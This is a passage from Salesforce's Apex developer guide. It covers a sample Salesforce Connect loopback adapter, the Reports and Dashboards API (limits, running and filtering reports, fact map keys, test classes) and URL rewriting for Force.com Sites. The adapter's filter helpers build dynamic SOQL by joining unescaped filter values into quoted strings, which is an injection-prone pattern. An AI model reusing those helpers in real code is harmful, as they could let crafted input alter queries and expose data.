if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
integer count = execCount(getCountQuery(context));
List<Map<String,Object>> countResponse =
new List<Map<String,Object>>();
Map<String,Object> countRow =
new Map<String,Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
count);
countResponse.add(countRow);
return DataSource.TableResult.get(context,countResponse);
}else {
List<Map<String,Object>> rows = execQuery(
getSoqlQuery(context));
return DataSource.TableResult.get(context,rows);
}
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
416
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
*global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
override global List<DataSource.TableResult>
search(DataSource.SearchContext context) {
return DataSource.SearchUtils.searchByName(context, this);
}
/**
* Helper method to execute the SOQL query and
* return the results.
**/
private List<Map<String,Object>>
execQuery(String soqlQuery) {
List<Account> objs = Database.query(soqlQuery);
List<Map<String,Object>> rows =
new List<Map<String,Object>>();
for (Account obj : objs) {
Map<String,Object> row = new Map<String,Object>();
row.put('Name', obj.Name);
row.put('NumberOfEmployees', obj.NumberOfEmployees);
row.put('ExternalId', obj.Id);
row.put('DisplayUrl',
URL.getSalesforceBaseUrl().toExternalForm() +
obj.Id);
rows.add(row);
}
return rows;
}
/**
* Helper method to get aggregate count.
**/
private integer execCount(String soqlQuery) {
integer count = Database.countQuery(soqlQuery);
return count;
}
/**
* Helper method to create default aggregate query.
**/
private String getCountQuery(DataSource.QueryContext context) {
String baseQuery = 'SELECT COUNT() FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
417
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
/**
* Helper method to create default query.
**/
private String getSoqlQuery(DataSource.QueryContext context) {
String baseQuery =
'SELECT Id,Name,NumberOfEmployees FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
* Helper method to handle query filter.
**/
private String getSoqlFilter(String query,
DataSource.Filter filter) {
if (filter == null) {
return query;
}
String append;
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows =
new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
DataSource.Filter subfilter = filter.subfilters.get(0);
append = getSoqlFilter('NOT', subfilter);
}else if (type == DataSource.FilterType.AND_) {
append =
getSoqlFilterCompound('AND', filter.subfilters);
}else if (type == DataSource.FilterType.OR_) {
append =
getSoqlFilterCompound('OR', filter.subfilters);
}else {
append = getSoqlFilterExpression(filter);
}
return query + ''+ append;
}
/**
* Helper method to handle query subfilters.
**/
private String getSoqlFilterCompound(String operator,
List<DataSource.Filter> subfilters) {
String expression = ' (';
boolean first = true;
for (DataSource.Filter subfilter : subfilters) {
if (first)
first = false;
else
expression += ''+ operator + ' ';
expression += getSoqlFilter('', subfilter);
418
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
}
expression += ') ';
return expression;
}
/**
* Helper method to handle query filter expressions.
**/
private String getSoqlFilterExpression(
DataSource.Filter filter) {
String columnName = filter.columnName;
String operator;
Object expectedValue = filter.columnValue;
if (filter.type == DataSource.FilterType.EQUALS) {
operator = '=';
}else if (filter.type ==
DataSource.FilterType.NOT_EQUALS) {
operator = '<>';
}else if (filter.type ==
DataSource.FilterType.LESS_THAN) {
operator = '<';
}else if (filter.type ==
DataSource.FilterType.GREATER_THAN) {
operator = '>';
}else if (filter.type ==
DataSource.FilterType.LESS_THAN_OR_EQUAL_TO) {
operator = '<=';
}else if (filter.type ==
DataSource.FilterType.GREATER_THAN_OR_EQUAL_TO) {
operator = '>=';
}else if (filter.type ==
DataSource.FilterType.STARTS_WITH) {
return mapColumnName(columnName) +
' LIKE \'' +String.valueOf(expectedValue) + '%\'';
}else if (filter.type ==
DataSource.FilterType.ENDS_WITH) {
return mapColumnName(columnName) +
' LIKE \'%' +String.valueOf(expectedValue) + '\'';
}else {
throwException(
'Implementing other filter types is left as an exercise for the reader: '
+ filter.type);
}
return mapColumnName(columnName) +
''+ operator + ''+ wrapValue(expectedValue);
}
/**
* Helper method to map column names.
**/
private String mapColumnName(String apexName) {
if (apexName.equalsIgnoreCase('ExternalId'))
return 'Id';
if (apexName.equalsIgnoreCase('DisplayUrl'))
419
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
return 'Id';
return apexName;
}
/**
* Helper method to wrap expression Strings with quotes.
**/
private String wrapValue(Object foundValue) {
if (foundValue instanceof String)
return '\'' +String.valueOf(foundValue) + '\'';
return String.valueOf(foundValue);
}
}
LoopbackDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class LoopbackDataSourceProvider
extends DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
capabilities.add(
DataSource.AuthenticationCapability.BASIC);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
420
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection
getConnection(DataSource.ConnectionParams connectionParams) {
return new LoopbackDataSourceConnection();
}
}
Salesforce Reports and Dashboards API via Apex
The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report builder.
The API enables you to integrate report data into any web or mobile application, inside or outside the Salesforce platform. For example,
you might use the API to trigger a Chatter post with a snapshot of top-performing reps each quarter.
The Reports and Dashboards API via Apex revolutionizes the way that you access and visualize your data. You can:
•Integrate report data into custom objects.
•Integrate report data into rich visualizations to animate the data.
•Build custom dashboards.
•Automate reporting tasks.
At a high level, the API resources enable you to query and filter report data. You can:
•Run tabular, summary, or matrix reports synchronously or asynchronously.
•Filter for specific data on the fly.
•Query report data and metadata.
IN THIS SECTION:
Requirements and Limitations
The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.
Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
List Asynchronous Runs of a Report
You can retrieve up to 2,000 instances of a report that you ran asynchronously.
Get Report Metadata
You can retrieve report metadata to get information about a report and its report type.
Get Report Data
You can use the ReportResults class to get the fact map, which contains data that’s associated with a report.
Filter Reports
To get specific results on the fly, you can filter reports through the API.
Decode the Fact Map
The fact map contains the summary and record-level data values for a report.
421
Salesforce Reports and Dashboards API via ApexUsing Salesforce Features with Apex
Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.
SEE ALSO:
Reports Namespace
Requirements and Limitations
The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.
The following restrictions apply to the Reports and Dashboards API via Apex, in addition to general API limits.
•Cross filters, standard report filters, and filtering by row limit are unavailable when filtering data.
•Historical trend reports are only supported for matrix reports.
•The API can process only reports that contain up to 100 fields selected as columns.
•A list of up to 200 recently viewed reports can be returned.
•Your org can request up to 500 synchronous report runs per hour.
•The API supports up to 20 synchronous report run requests at a time.
•A list of up to 2,000 instances of a report that was run asynchronously can be returned.
•The API supports up to 200 requests at a time to get results of asynchronous report runs.
•Your organization can request up to 1,200 asynchronous requests per hour.
•Asynchronous report run results are available within a 24-hour rolling period.
•The API returns up to the first 2,000 report rows. You can narrow results using filters.
•You can add up to 20 custom field filters when you run a report.
In addition, the following restrictions apply to the Reports and Dashboards API via Apex.
•Asynchronous report calls are not allowed in batch Apex.
•Report calls are not allowed in Apex triggers.
•There is no Apex method to list recently run reports.
•The number of report rows processed during a synchronous report run count towards the governor limit that restricts the total
number of rows retrieved by SOQL queries to 50,000 rows per transaction. This limit is not imposed when reports are run
asynchronously.
•In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or
false. This means that report results will include pre-existing data that the test didn’t create. There is no way to disable the
SeeAllData annotation for a report execution. To limit results, use a filter on the report.
•In Apex tests, asynchronous report runs will execute only after the test is stopped using the Test.stopTest method.
Note: All limits that apply to reports created in the report builder also apply to the API. For more information, see “Analytics Limits”
in the Salesforce online help.
Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
Reports can be run with or without details and can be filtered by setting report metadata. When you run a report, the API returns data
for the same number of records that are available when the report is run in the Salesforce user interface.
422
Requirements and LimitationsUsing Salesforce Features with Apex
Run a report synchronously if you expect it to finish running quickly. Otherwise, we recommend that you run reports through the
Salesforce API asynchronously for these reasons:
•Long-running reports have a lower risk of reaching the timeout limit when they are run asynchronously.
•The two-minute overall Salesforce API timeout limit doesn’t apply to asynchronous runs.
•The Salesforce Reports and Dashboards API via Apex can handle a higher number of asynchronous run requests at a time.
•Because the results of an asynchronously run report are stored for a 24-hour rolling period, they’re available for recurring access.
Example: Run a Report Synchronously
To run a report synchronously, use one of the ReportManager.runReport() methods. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run the report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, true);
System.debug('Synchronous results: ' + results);
Example: Run a Report Asynchronously
To run a report asynchronously, use one of the ReportManager.runAsyncReport() methods. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run the report
Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('Asynchronous instance: ' + instance);
List Asynchronous Runs of a Report
You can retrieve up to 2,000 instances of a report that you ran asynchronously.
The instance list is sorted by the date and time when the report was run. Report results are stored for a rolling 24-hour period. During
this time, based on your user access level, you can access results for each instance of the report that was run.
Example: You can get the instance list by calling the ReportManager.getReportInstances method. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report asynchronously
Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('List of asynchronous runs: ' +
Reports.ReportManager.getReportInstances(reportId));
423
List Asynchronous Runs of a ReportUsing Salesforce Features with Apex
Get Report Metadata
You can retrieve report metadata to get information about a report and its report type.
Metadata includes information about fields that are used in the report for filters, groupings, detailed data, and summaries. You can use
the metadata to do several things:
•Find out what fields and values you can filter on in the report type.
•Build custom chart visualizations by using the metadata information on fields, groupings, detailed data, and summaries.
•Change filters in the report metadata when you run a report.
Use the ReportResults.getReportMetadata method to retrieve report metadata. You can then use the “get” methods on
the ReportMetadata class to access metadata values.
Example: The following example retrieves metadata for a report.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId);
// Get the report metadata
Reports.ReportMetadata rm = results.getReportMetadata();
System.debug('Name: ' + rm.getName());
System.debug('ID: ' + rm.getId());
System.debug('Currency code: ' + rm.getCurrencyCode());
System.debug('Developer name: ' + rm.getDeveloperName());
// Get grouping info for first grouping
Reports.GroupingInfo gInfo = rm.getGroupingsDown()[0];
System.debug('Grouping name: ' + gInfo.getName());
System.debug('Grouping sort order: ' + gInfo.getSortOrder());
System.debug('Grouping date granularity: ' + gInfo.getDateGranularity());
// Get aggregates
System.debug('First aggregate: ' + rm.getAggregates()[0]);
System.debug('Second aggregate: ' + rm.getAggregates()[1]);
// Get detail columns
System.debug('Detail columns: ' + rm.getDetailColumns());
// Get report format
System.debug('Report format: ' + rm.getReportFormat());
Get Report Data
You can use the ReportResults class to get the fact map, which contains data that’s associated with a report.
424
Get Report MetadataUsing Salesforce Features with Apex
Example: To access data values of the fact map, you can map grouping value keys to the corresponding fact map keys. In the
following example, imagine that you have an opportunity report that’s grouped by close month, and you’ve summarized the
amount field. To get the value for the summary amount for the first grouping in the report:
1. Get the first down-grouping in the report by using the ReportResults.getGroupingsDown method and accessing
the first GroupingValue object.
2. Get the grouping key value from the GroupingValue object by using the getKey method.
3. Construct a fact map key by appending '!T'to this key value. The resulting fact map key represents the summary value for
the first down-grouping.
4. Get the fact map from the report results by using the fact map key.
5. Get the first summary amount value by using the ReportFact.getAggregates method and accessing the first
SummaryValue object.
6. Get the field value from the first data cell of the first row of the report by using the ReportFactWithDetails.getRows
method.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report synchronously
Reports.reportResults results = Reports.ReportManager.runReport(reportId, true);
// Get the first down-grouping in the report
Reports.Dimension dim = results.getGroupingsDown();
Reports.GroupingValue groupingVal = dim.getGroupings()[0];
System.debug('Key: ' + groupingVal.getKey());
System.debug('Label: ' + groupingVal.getLabel());
System.debug('Value: ' + groupingVal.getValue());
// Construct a fact map key, using the grouping key value
String factMapKey = groupingVal.getKey() + '!T';
// Get the fact map from the report results
Reports.ReportFactWithDetails factDetails =
(Reports.ReportFactWithDetails)results.getFactMap().get(factMapKey);
// Get the first summary amount from the fact map
Reports.SummaryValue sumVal = factDetails.getAggregates()[0];
System.debug('Summary Value: ' + sumVal.getLabel());
// Get the field value from the first data cell of the first row of the report
Reports.ReportDetailRow detailRow = factDetails.getRows()[0];
System.debug(detailRow.getDataCells()[0].getLabel());
Filter Reports
To get specific results on the fly, you can filter reports through the API.
425
Filter ReportsUsing Salesforce Features with Apex
Changes to filters that are made through the API don’t affect the source report definition. Using the API, you can filter with up to 20
custom field filters and add filter logic (such as AND and OR). But standard filters (such as range), filtering by row limit, and cross filters
are unavailable.
Before you filter a report, it’s helpful to check the following filter values in the metadata.
•The ReportTypeColumn.getFilterable method tells you whether a field can be filtered.
•The ReportTypeColumn.filterValues method returns all filter values for a field.
•The ReportManager.dataTypeFilterOperatorMap method lists the field data types that you can use to filter the
report.
•The ReportMetadata.getReportFilters method lists all filters that exist in the report.
You can filter reports during synchronous or asynchronous report runs.
Example: To filter a report, set filter values in the report metadata and then run the report. The following example retrieves the
report metadata, overrides the filter value, and runs the report. The example:
1. Retrieves the report filter object from the metadata by using the ReportMetadata.getReportFilters method.
2. Sets the value in the filter to a specific date by using the ReportFilter.setValue method and runs the report.
3. Overrides the filter value to a different date and runs the report again.
The output for the example shows the differing grand total values, based on the date filter that was applied.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Get the report metadata
Reports.ReportDescribeResult describe = Reports.ReportManager.describeReport(reportId);
Reports.ReportMetadata reportMd = describe.getReportMetadata();
// Override filter and run report
Reports.ReportFilter filter = reportMd.getReportFilters()[0];
filter.setValue('2013-11-01');
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, reportMd);
Reports.ReportFactWithSummaries factSum =
(Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for November: ' + factSum.getAggregates()[0].getLabel());
// Override filter and run report
filter = reportMd.getReportFilters()[0];
filter.setValue('2013-10-01');
results = Reports.ReportManager.runReport(reportId, reportMd);
factSum = (Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for October: ' + factSum.getAggregates()[0].getLabel());
Decode the Fact Map
The fact map contains the summary and record-level data values for a report.
Depending on how you run a report, the fact map in the report results can contain values for only summary or both summary and
detailed data. The fact map values are expressed as keys, which you can programmatically use to visualize the report data. Fact map
keys provide an index into each section of a fact map, from which you can access summary and detailed data.
426
Decode the Fact MapUsing Salesforce Features with Apex
The pattern for the fact map keys varies by report format as shown in this table.
Fact map key patternReport
format
T!T: The grand total of a report. Both record data values and the grand total are represented by this key.Tabular
<First level row grouping_second level row grouping_third level row
grouping>!T: T refers to the row grand total.
Summary
<First level row grouping_second level row grouping>!<First level column
grouping_second level column grouping>.
Matrix
Each item in a row or column grouping is numbered starting with 0. Here are some examples of fact map keys:
DescriptionFact Map
Key
The first item in the first-level grouping.0!T
The second item in the first-level grouping.1!T
The first item in the first-level grouping and the first item in the second-level grouping.0_0!T
The first item in the first-level grouping and the second item in the second-level grouping.0_1!T
Let’s look at examples of how fact map keys represent data as it appears in a Salesforce tabular, summary, or matrix report.
Tabular Report Fact Map
Here’s an example of an opportunities report in tabular format. Since tabular reports don’t have groupings, all of the record level data
and summaries are expressed by the T!T key, which refers to the grand total.
427
Decode the Fact MapUsing Salesforce Features with Apex
Summary Report Fact Map
This example shows how the values in a summary report are represented in the fact map.
DescriptionFact Map Key
Summary for the value of opportunities in the Prospecting stage.0!T
Summary of the probabilities for the Manufacturing opportunities in the Needs Analysis stage.1_0!T
428
Decode the Fact MapUsing Salesforce Features with Apex
Matrix Report Fact Map
Here’s an example of some fact map keys for data in a matrix opportunities report with a couple of row and column groupings.
DescriptionFact Map Key
Total opportunity amount in the Prospecting stage in Q4 2010.0!0
Total opportunity amount in the Prospecting stage in the Manufacturing sector in October 2010.0_0!0_0
Total value of opportunities in the Value Proposition stage in the Technology sector in February 2011.2_1!1_1
Grand total summary for the report.T!T
Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.
The Reporting Apex methods don’t run in system mode, they run in the context of the current user (also called the context user or the
logged-in user). The methods have access to whatever the current user has access to.
In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or false.
This means that report results will include pre-existing data that the test didn’t create. There is no way to disable the SeeAllData
annotation for a report execution. To limit results, use a filter on the report.
Example: Create a Reports Test Class
The following example tests asynchronous and synchronous reports. Each method:
•Creates a new Opportunity object and uses it to set a filter on the report.
•Runs the report.
•Calls assertions to validate the data.
Note: In Apex tests, asynchronous reports execute only after the test is stopped using the Test.stopTest method.
@isTest
public class ReportsInApexTest{
@isTest(SeeAllData='true')
429
Test ReportsUsing Salesforce Features with Apex
public static void testAsyncReportWithTestData() {
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Create an Opportunity object.
Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
Probability = 95, CloseDate=system.today());
insert opp;
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Test.startTest();
Reports.ReportInstance instanceObj =
Reports.ReportManager.runAsyncReport(reportId,reportMetadata,false);
String instanceId = instanceObj.getId();
// Report instance is not available yet.
Test.stopTest();
// After the stopTest method, the report has finished executing
// and the instance is available.
instanceObj = Reports.ReportManager.getReportInstance(instanceId);
System.assertEquals(instanceObj.getStatus(),'Success');
Reports.ReportResults result = instanceObj.getReportResults();
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
@isTest(SeeAllData='true')
public static void testSyncReportWithTestData() {
// Create an Opportunity Object.
Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
Probability = 95, CloseDate=system.today());
insert opp;
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
430
Test ReportsUsing Salesforce Features with Apex
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Reports.ReportResults result =
Reports.ReportManager.runReport(reportId,reportMetadata,false);
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
}
Force.com Sites
Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics, workflow
and approvals, and programmable logic.
You can manage your Force.com sites in Apex using the methods of the Site and Cookie classes.
IN THIS SECTION:
Rewriting URLs for Force.com Sites
SEE ALSO:
Site Class
Rewriting URLs for Force.com Sites
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed
into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links
within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index
your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN
With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your New Year's
Eve posts might be: http://myblog.force.com/posts/2009/12/31/auld-lang-syne
You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's Day post,
the link URL might show: http://myblog.force.com/posts/2010/02/14/last-minute-roses
To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your
site.
431
Force.com SitesUsing Salesforce Features with Apex
To learn about the methods in the Site.UrlRewriter interface, see UrlRewriter.
Creating the Apex Class
The Apex class that you create must implement the Force.com provided interface Site.UrlRewriter. In general, it must have
the following form:
global class yourClass implements Site.UrlRewriter {
global PageReference mapRequestUrl(PageReference
yourFriendlyUrl)
global PageReference[] generateUrlFor(PageReference[]
yourSalesforceUrls);
}
Consider the following restrictions and recommendations as you create your Apex class:
Class and Methods Must Be Global
The Apex class and methods must all be global.
Class Must Include Both Methods
The Apex class must implement both the mapRequestUrl and generateUrlFor methods. If you don't want to use one
of the methods, simply have it return null.
Rewriting Only Works for Visualforce Site Pages
Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard pages, images,
or other entities.
To rewrite URLs for links on your site's pages, use the !URLFOR function with the $Page merge variable. For example, the
following links to a Visualforce page named myPage:
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>
Note: Visualforce <apex:form> elements with forceSSL=”true” aren't affected by the urlRewriter.
See the “Functions” appendix of the Visualforce Developer's Guide.
Encoded URLs
The URLs you get from using the Site.urlRewriter interface are encoded. If you need to access the unencoded values of
your URL, use the urlDecode method of the EncodingUtil Class.
Restricted Characters
User-friendly URLs must be distinct from Salesforce URLs. URLs with a three-character entity prefix or a 15- or 18-character ID are
not rewritten.
You can't use periods in your rewritten URLs.
Restricted Strings
You can't use the following reserved strings as part of a rewritten URL path:
•apexcomponent
•apexpages
•ex
•faces
•flash
•flex
•google
432
Rewriting URLs for Force.com SitesUsing Salesforce Features with Apex
•home
•ideas
•images
•img
•javascript
•js
•lumen
•m
•resource
•search
•secur
•services
•servlet
•setup
•sfc
•sfdc_ns
•site
•style
•vote
•widg
You can't use the following reserved strings at the end of a rewritten URL path:
•/htmldbcthumbnail
•/dbcthumbnail
•/aura
•/auraResource
•auraFW
•/m
•/mobile
•/l
•/HelpAndTrainingDoor
Relative Paths Only
The PageReference.getUrl() method only returns the part of the URL immediately following the host name or site prefix (if any).
For example, if your URL is http://mycompany.force.com/sales/MyPage?id=12345, where “sales” is the site
prefix, only /MyPage?id=12345 is returned.
You can't rewrite the domain or site prefix.
Unique Paths Only
You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is
http://acme.force.com/help, where “help” is the site prefix, you can't point the URL to help/page. The resulting
path, http://acme.force.com/help/help/page, would be returned instead as
http://acme.force.com/help/page.
433
Rewriting URLs for Force.com SitesUsing Salesforce Features with Apex
Query in Bulk
For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor method.
Enforce Field Uniqueness
Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve
performance.
You can also use the Site.lookupIdByFieldValue method to look up records by a unique field name and value. The
method verifies that the specified field has a unique or external ID; otherwise it returns an error.
Here is an example, where mynamespace is the namespace, Blog is the custom object name, title is the custom field name, and
myBlog is the value to look for:
Site.lookupIdByFieldValue(Schema.sObjectType.
mynamespace__Blog__c.fields.title__c,'myBlog');
Adding URL Rewriting to a Site
Once you've created the URL rewriting Apex class, follow these steps to add it to your site:
1. From Setup, enter Sites in the Quick Find box, then select Sites.
2. Click New or click Edit for an existing site.
3. On the Site Edit page, choose an Apex class for URL Rewriter Class.
4. Click Save.
Note: If you have URL rewriting enabled on your site, all PageReferences are passed through the URL rewriter.
Code Example
In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have “Read” permission
enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link
to the parent account, plus contact details.
Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the “before”
figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the “after” figure.
The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed comments.
Example Site Pages
This section shows the Visualforce for the account and contact pages used in this example.
The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should be named
myaccount.
<apex:page standardController="Account">
<apex:detail relatedList="false"/>
</apex:page>
434
Rewriting URLs for Force.com SitesUsing Salesforce Features with Apex
The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the
URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the Visualforce page
doesn't contain any rewriting logic except URLFOR. This page should be named mycontact.
<apex:page standardController="contact">
<apex:pageBlock title="Parent Account">
<apex:outputLink value="{!URLFOR($Page.mycontact,null,
[id=contact.account.id])}">{!contact.account.name}
</apex:outputLink>
</apex:pageBlock>
<apex:detail relatedList="false"/>
</apex:page>
Example URL Rewriting Apex Class
The Apex class used as the URL rewriter for the site uses the mapRequestUrl method to map incoming URL requests to the right
Salesforce record. It also uses the generateUrlFor method to rewrite the URL for the link to the account page in a more user-friendly
form.
global with sharing class myRewriter implements Site.UrlRewriter {
//Variables to represent the user-friendly URLs for
//account and contact pages
String ACCOUNT_PAGE = '/myaccount/';
String CONTACT_PAGE = '/mycontact/';
//Variables to represent my custom Visualforce pages
//that display account and contact information
String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id=';
String CONTACT_VISUALFORCE_PAGE = '/mycontact?id=';
global PageReference mapRequestUrl(PageReference
myFriendlyUrl){
String url = myFriendlyUrl.getUrl();
if(url.startsWith(CONTACT_PAGE)){
//Extract the name of the contact from the URL
//For example: /mycontact/Ryan returns Ryan
String name = url.substring(CONTACT_PAGE.length(),
url.length());
//Select the ID of the contact that matches
//the name from the URL
Contact con = [SELECT Id FROM Contact WHERE Name =:
name LIMIT 1];
//Construct a new page reference in the form
//of my Visualforce page
return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id);
}
if(url.startsWith(ACCOUNT_PAGE)){
//Extract the name of the account
String name = url.substring(ACCOUNT_PAGE.length(),
url.length());
435
Rewriting URLs for Force.com SitesUsing Salesforce Features with Apex
//Query for the ID of an account with this name
Account acc = [SELECT Id FROM Account WHERE Name =:name LIMIT 1];
//Return a page in Visualforce format
return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id);
}
//If the URL isn't in the form of a contact or
//account page, continue with the request
return null;
}
global List<PageReference> generateUrlFor(List<PageReference>
mySalesforceUrls){
//A list of pages to return after all the links
//have been evaluated
List<PageReference> myFriendlyUrls = new List<PageReference>();
//a list of all the ids in the urls
List<id> accIds = new List<id>();
// loop through all the urls once, finding all the valid ids
for(PageReference mySalesforceUrl : mySalesforceUrls){
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
//If this looks like an account page, transform it
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
//Extract the ID from the query parameter
//and store in a list
//for querying later in bulk.
String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(),
url.length());
accIds.add(id);
}
}
// Get all the account names in bulk
List <account> accounts = [SELECT Name FROM Account WHERE Id IN :accIds];
// make the new urls
Integer counter = 0;
// it is important to go through all the urls again, so that the order
// of the urls in the list is maintained.
for(PageReference mySalesforceUrl : mySalesforceUrls) {
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
counter++;
}else {
//If this doesn't start like an account page,
436
Rewriting URLs for Force.com SitesUsing Salesforce Features with Apex
//don't do any transformations
myFriendlyUrls.add(mySalesforceUrl);
}
}
//Return the full list of pages
return myFriendlyUrls;
}
}
Before and After Rewriting
Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based URLs in the
first figure, and the user-friendly URLs in the second.
Site URLs Before Rewriting
The numbered elements in this figure are:
1. The original URL for the contact page before rewriting
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser's status bar
437
